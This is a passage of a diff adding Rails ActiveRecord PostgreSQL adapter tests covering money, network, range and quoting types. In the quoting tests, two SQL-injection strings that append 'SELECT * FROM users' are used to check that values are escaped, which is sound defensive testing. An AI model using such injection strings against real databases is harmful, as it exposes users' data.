+  rescue ActiveRecord::StatementInvalid
+    skip "do not test on PG without ltree"
+  end
+
+  teardown do
+    @connection.drop_table "ltrees", if_exists: true
+  end
+
+  def test_column
+    column = Ltree.columns_hash["path"]
+    assert_equal :ltree, column.type
+    assert_equal "ltree", column.sql_type
+    assert_not column.array?
+
+    type = Ltree.type_for_attribute("path")
+    assert_not type.binary?
+  end
+
+  def test_write
+    ltree = Ltree.new(path: "1.2.3.4")
+    assert ltree.save!
+  end
+
+  def test_select
+    @connection.execute "insert into ltrees (path) VALUES ('1.2.3')"
+    ltree = Ltree.first
+    assert_equal "1.2.3", ltree.path
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("ltrees")
+    assert_match %r[t\.ltree "path"], output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb
new file mode 100644
index 0000000000..563f0bbfae
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/money_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlMoneyTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlMoney < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute("set lc_monetary = 'C'")
+    @connection.create_table("postgresql_moneys", force: true) do |t|
+      t.money "wealth"
+      t.money "depth", default: "150.55"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_moneys", if_exists: true
+  end
+
+  def test_column
+    column = PostgresqlMoney.columns_hash["wealth"]
+    assert_equal :money, column.type
+    assert_equal "money", column.sql_type
+    assert_equal 2, column.scale
+    assert_not column.array?
+
+    type = PostgresqlMoney.type_for_attribute("wealth")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.column_defaults["depth"]
+    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.new.depth
+  end
+
+  def test_money_values
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '567.89'::money)")
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (2, '-567.89'::money)")
+
+    first_money = PostgresqlMoney.find(1)
+    second_money = PostgresqlMoney.find(2)
+    assert_equal 567.89, first_money.wealth
+    assert_equal(-567.89, second_money.wealth)
+  end
+
+  def test_money_type_cast
+    type = PostgresqlMoney.type_for_attribute("wealth")
+    assert_equal(12345678.12, type.cast("$12,345,678.12".dup))
+    assert_equal(12345678.12, type.cast("$12.345.678,12".dup))
+    assert_equal(-1.15, type.cast("-$1.15".dup))
+    assert_equal(-2.25, type.cast("($2.25)".dup))
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_moneys")
+    assert_match %r{t\.money\s+"wealth",\s+scale: 2$}, output
+    assert_match %r{t\.money\s+"depth",\s+scale: 2,\s+default: "150\.55"$}, output
+  end
+
+  def test_create_and_update_money
+    money = PostgresqlMoney.create(wealth: "987.65".dup)
+    assert_equal 987.65, money.wealth
+
+    new_value = BigDecimal.new("123.45")
+    money.wealth = new_value
+    money.save!
+    money.reload
+    assert_equal new_value, money.wealth
+  end
+
+  def test_update_all_with_money_string
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: "987.65")
+    money.reload
+
+    assert_equal 987.65, money.wealth
+  end
+
+  def test_update_all_with_money_big_decimal
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: "123.45".to_d)
+    money.reload
+
+    assert_equal 123.45, money.wealth
+  end
+
+  def test_update_all_with_money_numeric
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: 123.45)
+    money.reload
+
+    assert_equal 123.45, money.wealth
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/network_test.rb b/activerecord/test/cases/adapters/postgresql/network_test.rb
new file mode 100644
index 0000000000..f461544a85
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/network_test.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlNetworkTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class PostgresqlNetworkAddress < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_network_addresses", force: true) do |t|
+      t.inet "inet_address", default: "192.168.1.1"
+      t.cidr "cidr_address", default: "192.168.1.0/24"
+      t.macaddr "mac_address", default: "ff:ff:ff:ff:ff:ff"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_network_addresses", if_exists: true
+  end
+
+  def test_cidr_column
+    column = PostgresqlNetworkAddress.columns_hash["cidr_address"]
+    assert_equal :cidr, column.type
+    assert_equal "cidr", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("cidr_address")
+    assert_not type.binary?
+  end
+
+  def test_inet_column
+    column = PostgresqlNetworkAddress.columns_hash["inet_address"]
+    assert_equal :inet, column.type
+    assert_equal "inet", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("inet_address")
+    assert_not type.binary?
+  end
+
+  def test_macaddr_column
+    column = PostgresqlNetworkAddress.columns_hash["mac_address"]
+    assert_equal :macaddr, column.type
+    assert_equal "macaddr", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("mac_address")
+    assert_not type.binary?
+  end
+
+  def test_network_types
+    PostgresqlNetworkAddress.create(cidr_address: "192.168.0.0/24",
+                                    inet_address: "172.16.1.254/32",
+                                    mac_address: "01:23:45:67:89:0a")
+
+    address = PostgresqlNetworkAddress.first
+    assert_equal IPAddr.new("192.168.0.0/24"), address.cidr_address
+    assert_equal IPAddr.new("172.16.1.254"), address.inet_address
+    assert_equal "01:23:45:67:89:0a", address.mac_address
+
+    address.cidr_address = "10.1.2.3/32"
+    address.inet_address = "10.0.0.0/8"
+    address.mac_address = "bc:de:f0:12:34:56"
+
+    address.save!
+    assert address.reload
+    assert_equal IPAddr.new("10.1.2.3/32"), address.cidr_address
+    assert_equal IPAddr.new("10.0.0.0/8"), address.inet_address
+    assert_equal "bc:de:f0:12:34:56", address.mac_address
+  end
+
+  def test_invalid_network_address
+    invalid_address = PostgresqlNetworkAddress.new(cidr_address: "invalid addr",
+                                                   inet_address: "invalid addr")
+    assert_nil invalid_address.cidr_address
+    assert_nil invalid_address.inet_address
+    assert_equal "invalid addr", invalid_address.cidr_address_before_type_cast
+    assert_equal "invalid addr", invalid_address.inet_address_before_type_cast
+    assert invalid_address.save
+
+    invalid_address.reload
+    assert_nil invalid_address.cidr_address
+    assert_nil invalid_address.inet_address
+    assert_nil invalid_address.cidr_address_before_type_cast
+    assert_nil invalid_address.inet_address_before_type_cast
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("postgresql_network_addresses")
+    assert_match %r{t\.inet\s+"inet_address",\s+default: "192\.168\.1\.1"}, output
+    assert_match %r{t\.cidr\s+"cidr_address",\s+default: "192\.168\.1\.0/24"}, output
+    assert_match %r{t\.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/numbers_test.rb b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
new file mode 100644
index 0000000000..b53a12254d
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlNumberTest < ActiveRecord::PostgreSQLTestCase
+  class PostgresqlNumber < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_numbers", force: true) do |t|
+      t.column "single", "REAL"
+      t.column "double", "DOUBLE PRECISION"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_numbers", if_exists: true
+  end
+
+  def test_data_type
+    assert_equal :float, PostgresqlNumber.columns_hash["single"].type
+    assert_equal :float, PostgresqlNumber.columns_hash["double"].type
+  end
+
+  def test_values
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (2, '-Infinity', 'Infinity')")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (3, 123.456, 'NaN')")
+
+    first, second, third = PostgresqlNumber.find(1, 2, 3)
+
+    assert_equal 123.456, first.single
+    assert_equal 123456.789, first.double
+    assert_equal(-::Float::INFINITY, second.single)
+    assert_equal ::Float::INFINITY, second.double
+    assert third.double.nan?, "Expected #{third.double} to be NaN"
+  end
+
+  def test_update
+    record = PostgresqlNumber.create! single: "123.456", double: "123456.789"
+    new_single = 789.012
+    new_double = 789012.345
+    record.single = new_single
+    record.double = new_double
+    record.save!
+
+    record.reload
+    assert_equal new_single, record.single
+    assert_equal new_double, record.double
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
new file mode 100644
index 0000000000..5d81a9c258
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -0,0 +1,384 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapterTest < ActiveRecord::PostgreSQLTestCase
+      self.use_transactional_tests = false
+      include DdlHelper
+      include ConnectionHelper
+
+      def setup
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          configuration = ActiveRecord::Base.configurations["arunit"].merge(database: "should_not_exist-cinco-dog-db")
+          connection = ActiveRecord::Base.postgresql_connection(configuration)
+          connection.exec_query("SELECT 1")
+        end
+      end
+
+      def test_primary_key
+        with_example_table do
+          assert_equal "id", @connection.primary_key("ex")
+        end
+      end
+
+      def test_primary_key_works_tables_containing_capital_letters
+        assert_equal "id", @connection.primary_key("CamelCase")
+      end
+
+      def test_non_standard_primary_key
+        with_example_table "data character varying(255) primary key" do
+          assert_equal "data", @connection.primary_key("ex")
+        end
+      end
+
+      def test_primary_key_returns_nil_for_no_pk
+        with_example_table "id integer" do
+          assert_nil @connection.primary_key("ex")
+        end
+      end
+
+      def test_exec_insert_with_returning_disabled
+        connection = connection_without_insert_returning
+        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id", "postgresql_partitioned_table_parent_id_seq")
+        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        assert_equal expect.to_i, result.rows.first.first
+      end
+
+      def test_exec_insert_with_returning_disabled_and_no_sequence_name_given
+        connection = connection_without_insert_returning
+        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id")
+        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        assert_equal expect.to_i, result.rows.first.first
+      end
+
+      def test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given
+        connection = connection_without_insert_returning
+        result = connection.exec_insert("insert into postgresql_partitioned_table_parent DEFAULT VALUES", nil, [], "id")
+        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        assert_equal expect.to_i, result.rows.first.first
+      end
+
+      def test_exec_insert_default_values_quoted_schema_with_returning_disabled_and_no_sequence_name_given
+        connection = connection_without_insert_returning
+        result = connection.exec_insert('insert into "public"."postgresql_partitioned_table_parent" DEFAULT VALUES', nil, [], "id")
+        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        assert_equal expect.to_i, result.rows.first.first
+      end
+
+      def test_serial_sequence
+        assert_equal "public.accounts_id_seq",
+          @connection.serial_sequence("accounts", "id")
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          @connection.serial_sequence("zomg", "id")
+        end
+      end
+
+      def test_default_sequence_name
+        assert_equal "public.accounts_id_seq",
+          @connection.default_sequence_name("accounts", "id")
+
+        assert_equal "public.accounts_id_seq",
+          @connection.default_sequence_name("accounts")
+      end
+
+      def test_default_sequence_name_bad_table
+        assert_equal "zomg_id_seq",
+          @connection.default_sequence_name("zomg", "id")
+
+        assert_equal "zomg_id_seq",
+          @connection.default_sequence_name("zomg")
+      end
+
+      def test_pk_and_sequence_for
+        with_example_table do
+          pk, seq = @connection.pk_and_sequence_for("ex")
+          assert_equal "id", pk
+          assert_equal @connection.default_sequence_name("ex", "id"), seq.to_s
+        end
+      end
+
+      def test_pk_and_sequence_for_with_non_standard_primary_key
+        with_example_table "code serial primary key" do
+          pk, seq = @connection.pk_and_sequence_for("ex")
+          assert_equal "code", pk
+          assert_equal @connection.default_sequence_name("ex", "code"), seq.to_s
+        end
+      end
+
+      def test_pk_and_sequence_for_returns_nil_if_no_seq
+        with_example_table "id integer primary key" do
+          assert_nil @connection.pk_and_sequence_for("ex")
+        end
+      end
+
+      def test_pk_and_sequence_for_returns_nil_if_no_pk
+        with_example_table "id integer" do
+          assert_nil @connection.pk_and_sequence_for("ex")
+        end
+      end
+
+      def test_pk_and_sequence_for_returns_nil_if_table_not_found
+        assert_nil @connection.pk_and_sequence_for("unobtainium")
+      end
+
+      def test_pk_and_sequence_for_with_collision_pg_class_oid
+        @connection.exec_query("create table ex(id serial primary key)")
+        @connection.exec_query("create table ex2(id serial primary key)")
+
+        correct_depend_record = [
+          "'pg_class'::regclass",
+          "'ex_id_seq'::regclass",
+          "0",
+          "'pg_class'::regclass",
+          "'ex'::regclass",
+          "1",
+          "'a'"
+        ]
+
+        collision_depend_record = [
+          "'pg_attrdef'::regclass",
+          "'ex2_id_seq'::regclass",
+          "0",
+          "'pg_class'::regclass",
+          "'ex'::regclass",
+          "1",
+          "'a'"
+        ]
+
+        @connection.exec_query(
+          "DELETE FROM pg_depend WHERE objid = 'ex_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+        )
+        @connection.exec_query(
+          "INSERT INTO pg_depend VALUES(#{collision_depend_record.join(',')})"
+        )
+        @connection.exec_query(
+          "INSERT INTO pg_depend VALUES(#{correct_depend_record.join(',')})"
+        )
+
+        seq = @connection.pk_and_sequence_for("ex").last
+        assert_equal PostgreSQL::Name.new("public", "ex_id_seq"), seq
+
+        @connection.exec_query(
+          "DELETE FROM pg_depend WHERE objid = 'ex2_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+        )
+      ensure
+        @connection.drop_table "ex", if_exists: true
+        @connection.drop_table "ex2", if_exists: true
+      end
+
+      def test_table_alias_length
+        assert_nothing_raised do
+          @connection.table_alias_length
+        end
+      end
+
+      def test_exec_no_binds
+        with_example_table do
+          result = @connection.exec_query("SELECT id, data FROM ex")
+          assert_equal 0, result.rows.length
+          assert_equal 2, result.columns.length
+          assert_equal %w{ id data }, result.columns
+
+          string = @connection.quote("foo")
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+          result = @connection.exec_query("SELECT id, data FROM ex")
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [[1, "foo"]], result.rows
+        end
+      end
+
+      if ActiveRecord::Base.connection.prepared_statements
+        def test_exec_with_binds
+          with_example_table do
+            string = @connection.quote("foo")
+            @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+
+            bind = Relation::QueryAttribute.new("id", 1, Type::Value.new)
+            result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
+
+            assert_equal 1, result.rows.length
+            assert_equal 2, result.columns.length
+
+            assert_equal [[1, "foo"]], result.rows
+          end
+        end
+
+        def test_exec_typecasts_bind_vals
+          with_example_table do
+            string = @connection.quote("foo")
+            @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+
+            bind = Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)
+            result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
+
+            assert_equal 1, result.rows.length
+            assert_equal 2, result.columns.length
+
+            assert_equal [[1, "foo"]], result.rows
+          end
+        end
+      end
+
+      def test_partial_index
+        with_example_table do
+          @connection.add_index "ex", %w{ id number }, name: "partial", where: "number > 100"
+          index = @connection.indexes("ex").find { |idx| idx.name == "partial" }
+          assert_equal "(number > 100)", index.where
+        end
+      end
+
+      def test_expression_index
+        with_example_table do
+          @connection.add_index "ex", "mod(id, 10), abs(number)", name: "expression"
+          index = @connection.indexes("ex").find { |idx| idx.name == "expression" }
+          assert_equal "mod(id, 10), abs(number)", index.columns
+        end
+      end
+
+      def test_index_with_opclass
+        with_example_table do
+          @connection.add_index "ex", "data varchar_pattern_ops"
+          index = @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data_varchar_pattern_ops" }
+          assert_equal "data varchar_pattern_ops", index.columns
+
+          @connection.remove_index "ex", "data varchar_pattern_ops"
+          assert_not @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data_varchar_pattern_ops" }
+        end
+      end
+
+      def test_columns_for_distinct_zero_orders
+        assert_equal "posts.id",
+          @connection.columns_for_distinct("posts.id", [])
+      end
+
+      def test_columns_for_distinct_one_order
+        assert_equal "posts.id, posts.created_at AS alias_0",
+          @connection.columns_for_distinct("posts.id", ["posts.created_at desc"])
+      end
+
+      def test_columns_for_distinct_few_orders
+        assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+          @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
+      end
+
+      def test_columns_for_distinct_with_case
+        assert_equal(
+          "posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0",
+          @connection.columns_for_distinct("posts.id",
+            ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
+        )
+      end
+
+      def test_columns_for_distinct_blank_not_nil_orders
+        assert_equal "posts.id, posts.created_at AS alias_0",
+          @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
+      end
+
+      def test_columns_for_distinct_with_arel_order
+        order = Object.new
+        def order.to_sql
+          "posts.created_at desc"
+        end
+        assert_equal "posts.id, posts.created_at AS alias_0",
+          @connection.columns_for_distinct("posts.id", [order])
+      end
+
+      def test_columns_for_distinct_with_nulls
+        assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
+        assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
+      end
+
+      def test_columns_for_distinct_without_order_specifiers
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id"])
+
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls last"])
+
+        assert_equal "posts.title, posts.updater_id AS alias_0",
+          @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls first"])
+      end
+
+      def test_raise_error_when_cannot_translate_exception
+        assert_raise TypeError do
+          @connection.send(:log, nil) { @connection.execute(nil) }
+        end
+      end
+
+      def test_reload_type_map_for_newly_defined_types
+        @connection.execute "CREATE TYPE feeling AS ENUM ('good', 'bad')"
+        result = @connection.select_all "SELECT 'good'::feeling"
+        assert_instance_of(PostgreSQLAdapter::OID::Enum,
+                           result.column_types["feeling"])
+      ensure
+        @connection.execute "DROP TYPE IF EXISTS feeling"
+        reset_connection
+      end
+
+      def test_only_reload_type_map_once_for_every_unrecognized_type
+        silence_warnings do
+          assert_queries 2, ignore_none: true do
+            @connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          end
+          assert_queries 1, ignore_none: true do
+            @connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          end
+          assert_queries 2, ignore_none: true do
+            @connection.select_all "SELECT NULL::anyarray"
+          end
+        end
+      ensure
+        reset_connection
+      end
+
+      def test_only_warn_on_first_encounter_of_unrecognized_oid
+        warning = capture(:stderr) {
+          @connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          @connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          @connection.select_all "select 'pg_catalog.pg_class'::regclass"
+        }
+        assert_match(/\Aunknown OID \d+: failed to recognize type of 'regclass'\. It will be treated as String\.\n\z/, warning)
+      ensure
+        reset_connection
+      end
+
+      def test_unparsed_defaults_are_at_least_set_when_saving
+        with_example_table "id SERIAL PRIMARY KEY, number INTEGER NOT NULL DEFAULT (4 + 4) * 2 / 4" do
+          number_klass = Class.new(ActiveRecord::Base) do
+            self.table_name = "ex"
+          end
+          column = number_klass.columns_hash["number"]
+          assert_nil column.default
+          assert_nil column.default_function
+
+          first_number = number_klass.new
+          assert_nil first_number.number
+
+          first_number.save!
+          assert_equal 4, first_number.reload.number
+        end
+      end
+
+      private
+
+        def with_example_table(definition = "id serial primary key, number integer, data character varying(255)", &block)
+          super(@connection, "ex", definition, &block)
+        end
+
+        def connection_without_insert_returning
+          ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations["arunit"].merge(insert_returning: false))
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb b/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb
new file mode 100644
index 0000000000..f7478b50c3
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/prepared_statements_disabled_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/computer"
+require "models/developer"
+
+class PreparedStatementsDisabledTest < ActiveRecord::PostgreSQLTestCase
+  fixtures :developers
+
+  def setup
+    @conn = ActiveRecord::Base.establish_connection :arunit_without_prepared_statements
+  end
+
+  def teardown
+    @conn.release_connection
+    ActiveRecord::Base.establish_connection :arunit
+  end
+
+  def test_select_query_works_even_when_prepared_statements_are_disabled
+    assert_not Developer.connection.prepared_statements
+
+    david = developers(:david)
+
+    assert_equal david, Developer.where(name: "David").last # With Binds
+    assert_operator Developer.count, :>, 0 # Without Binds
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
new file mode 100644
index 0000000000..d50dc49276
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter
+      class QuotingTest < ActiveRecord::PostgreSQLTestCase
+        def setup
+          @conn = ActiveRecord::Base.connection
+        end
+
+        def test_type_cast_true
+          assert_equal true, @conn.type_cast(true)
+        end
+
+        def test_type_cast_false
+          assert_equal false, @conn.type_cast(false)
+        end
+
+        def test_quote_float_nan
+          nan = 0.0 / 0
+          assert_equal "'NaN'", @conn.quote(nan)
+        end
+
+        def test_quote_float_infinity
+          infinity = 1.0 / 0
+          assert_equal "'Infinity'", @conn.quote(infinity)
+        end
+
+        def test_quote_range
+          range = "1,2]'; SELECT * FROM users; --".."a"
+          type = OID::Range.new(Type::Integer.new, :int8range)
+          assert_equal "'[1,0]'", @conn.quote(type.serialize(range))
+        end
+
+        def test_quote_bit_string
+          value = "'); SELECT * FROM users; /*\n01\n*/--"
+          type = OID::Bit.new
+          assert_nil @conn.quote(type.serialize(value))
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000000..b4a776d04d
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,351 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+if ActiveRecord::Base.connection.respond_to?(:supports_ranges?) && ActiveRecord::Base.connection.supports_ranges?
+  class PostgresqlRange < ActiveRecord::Base
+    self.table_name = "postgresql_ranges"
+    self.time_zone_aware_types += [:tsrange, :tstzrange]
+  end
+
+  class PostgresqlRangeTest < ActiveRecord::PostgreSQLTestCase
+    self.use_transactional_tests = false
+    include ConnectionHelper
+    include InTimeZone
+
+    def setup
+      @connection = PostgresqlRange.connection
+      begin
+        @connection.transaction do
+          @connection.execute <<_SQL
+            CREATE TYPE floatrange AS RANGE (
+                subtype = float8,
+                subtype_diff = float8mi
+            );
+_SQL
+
+          @connection.create_table("postgresql_ranges") do |t|
+            t.daterange :date_range
+            t.numrange :num_range
+            t.tsrange :ts_range
+            t.tstzrange :tstz_range
+            t.int4range :int4_range
+            t.int8range :int8_range
+          end
+
+          @connection.add_column "postgresql_ranges", "float_range", "floatrange"
+        end
+        PostgresqlRange.reset_column_information
+      rescue ActiveRecord::StatementInvalid
+        skip "do not test on PG without range"
+      end
+
+      insert_range(id: 101,
+                   date_range: "[''2012-01-02'', ''2012-01-04'']",
+                   num_range: "[0.1, 0.2]",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+                   int4_range: "[1, 10]",
+                   int8_range: "[10, 100]",
+                   float_range: "[0.5, 0.7]")
+
+      insert_range(id: 102,
+                   date_range: "[''2012-01-02'', ''2012-01-04'')",
+                   num_range: "[0.1, 0.2)",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+                   int4_range: "[1, 10)",
+                   int8_range: "[10, 100)",
+                   float_range: "[0.5, 0.7)")
+
+      insert_range(id: 103,
+                   date_range: "[''2012-01-02'',]",
+                   num_range: "[0.1,]",
+                   ts_range: "[''2010-01-01 14:30'',]",
+                   tstz_range: "[''2010-01-01 14:30:00+05'',]",
+                   int4_range: "[1,]",
+                   int8_range: "[10,]",
+                   float_range: "[0.5,]")
+
+      insert_range(id: 104,
+                   date_range: "[,]",
+                   num_range: "[,]",
+                   ts_range: "[,]",
+                   tstz_range: "[,]",
+                   int4_range: "[,]",
+                   int8_range: "[,]",
+                   float_range: "[,]")
+
+      insert_range(id: 105,
+                   date_range: "[''2012-01-02'', ''2012-01-02'')",
+                   num_range: "[0.1, 0.1)",
+                   ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+                   int4_range: "[1, 1)",
+                   int8_range: "[10, 10)",
+                   float_range: "[0.5, 0.5)")
+
+      @new_range = PostgresqlRange.new
+      @first_range = PostgresqlRange.find(101)
+      @second_range = PostgresqlRange.find(102)
+      @third_range = PostgresqlRange.find(103)
+      @fourth_range = PostgresqlRange.find(104)
+      @empty_range = PostgresqlRange.find(105)
+    end
+
+    teardown do
+      @connection.drop_table "postgresql_ranges", if_exists: true
+      @connection.execute "DROP TYPE IF EXISTS floatrange"
+      reset_connection
+    end
+
+    def test_data_type_of_range_types
+      assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+      assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+      assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+      assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+      assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+      assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+    end
+
+    def test_int4range_values
+      assert_equal 1...11, @first_range.int4_range
+      assert_equal 1...10, @second_range.int4_range
+      assert_equal 1...Float::INFINITY, @third_range.int4_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+      assert_nil @empty_range.int4_range
+    end
+
+    def test_int8range_values
+      assert_equal 10...101, @first_range.int8_range
+      assert_equal 10...100, @second_range.int8_range
+      assert_equal 10...Float::INFINITY, @third_range.int8_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+      assert_nil @empty_range.int8_range
+    end
+
+    def test_daterange_values
+      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
+      assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+      assert_nil @empty_range.date_range
+    end
+
+    def test_numrange_values
+      assert_equal BigDecimal.new("0.1")..BigDecimal.new("0.2"), @first_range.num_range
+      assert_equal BigDecimal.new("0.1")...BigDecimal.new("0.2"), @second_range.num_range
+      assert_equal BigDecimal.new("0.1")...BigDecimal.new("Infinity"), @third_range.num_range
+      assert_equal BigDecimal.new("-Infinity")...BigDecimal.new("Infinity"), @fourth_range.num_range
+      assert_nil @empty_range.num_range
+    end
+
+    def test_tsrange_values
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+      assert_nil @empty_range.ts_range
+    end
+
+    def test_tstzrange_values
+      assert_equal Time.parse("2010-01-01 09:30:00 UTC")..Time.parse("2011-01-01 17:30:00 UTC"), @first_range.tstz_range
+      assert_equal Time.parse("2010-01-01 09:30:00 UTC")...Time.parse("2011-01-01 17:30:00 UTC"), @second_range.tstz_range
